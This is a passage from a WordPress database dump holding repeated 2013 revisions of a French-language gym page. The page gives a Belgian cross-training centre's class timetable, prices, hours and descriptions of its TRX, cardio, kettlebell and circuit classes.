style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 15:52:51', '2013-07-03 15:52:51', '', 11, 'http://www.crosstrainingcenter.be/?p=156', 0, 'revision', '', 0),
(157, 1, '2013-07-03 15:53:34', '2013-07-03 15:53:34', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\n[table caption=\&quot;En semaine\&quot; width=\&quot;700\&quot; colwidth=\&quot;30|50|50|50|50|50\&quot; colalign=\&quot;right|left|left|left|left|left\&quot;]\r\n,Lundi,Mardi,Mercredi,Jeudi,Vendredi\r\n17h30,TRX,CARDIO,RIP-KETTLE,GLFE,TRX\r\n18h15,GLFE,TRX,CARDIO,RIP-KETTLE,GLFE\r\n19h00,RIP-KETTLE,GLFE,TRX,CARDIO,RIP-KETTLE\r\n19h45,CARDIO,RIP-KETTLE,GLFE,TRX,CARDIO\r\n[/table]\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 15:53:34', '2013-07-03 15:53:34', '', 11, 'http://www.crosstrainingcenter.be/?p=157', 0, 'revision', '', 0),
(158, 1, '2013-07-03 15:54:03', '2013-07-03 15:54:03', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\n[table caption=\&quot;En semaine\&quot; width=\&quot;700\&quot; colwidth=\&quot;30|50|50|50|50|50\&quot; colalign=\&quot;right|left|left|left|left|left\&quot;]\r\n,Lundi,Mardi,Mercredi,Jeudi,Vendredi\r\n17h30,TRX,CARDIO,RIP-KETTLE,GLFE,TRX\r\n18h15,GLFE,TRX,CARDIO,RIP-KETTLE,GLFE\r\n19h00,RIP-KETTLE,GLFE,TRX,CARDIO,RIP-KETTLE\r\n19h45,CARDIO,RIP-KETTLE,GLFE,TRX,CARDIO\r\n[/table]\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 15:54:03', '2013-07-03 15:54:03', '', 11, 'http://www.crosstrainingcenter.be/?p=158', 0, 'revision', '', 0),
(161, 1, '2013-07-03 16:09:17', '2013-07-03 16:09:17', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\n[table caption=\&quot;En semaine\&quot; width=\&quot;700\&quot; colwidth=\&quot;30|50|50|50|50|50\&quot; colalign=\&quot;right|left|left|left|left|left\&quot;]\r\n,Lundi[attr class=\&quot;objectif\&quot;],Mardi,Mercredi,Jeudi,Vendredi\r\n17h30,TRX,CARDIO,RIP-KETTLE,GLFE,TRX\r\n18h15,GLFE,TRX,CARDIO,RIP-KETTLE,GLFE\r\n19h00,RIP-KETTLE,GLFE,TRX,CARDIO,RIP-KETTLE\r\n19h45,CARDIO,RIP-KETTLE,GLFE,TRX,CARDIO\r\n[/table]\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix 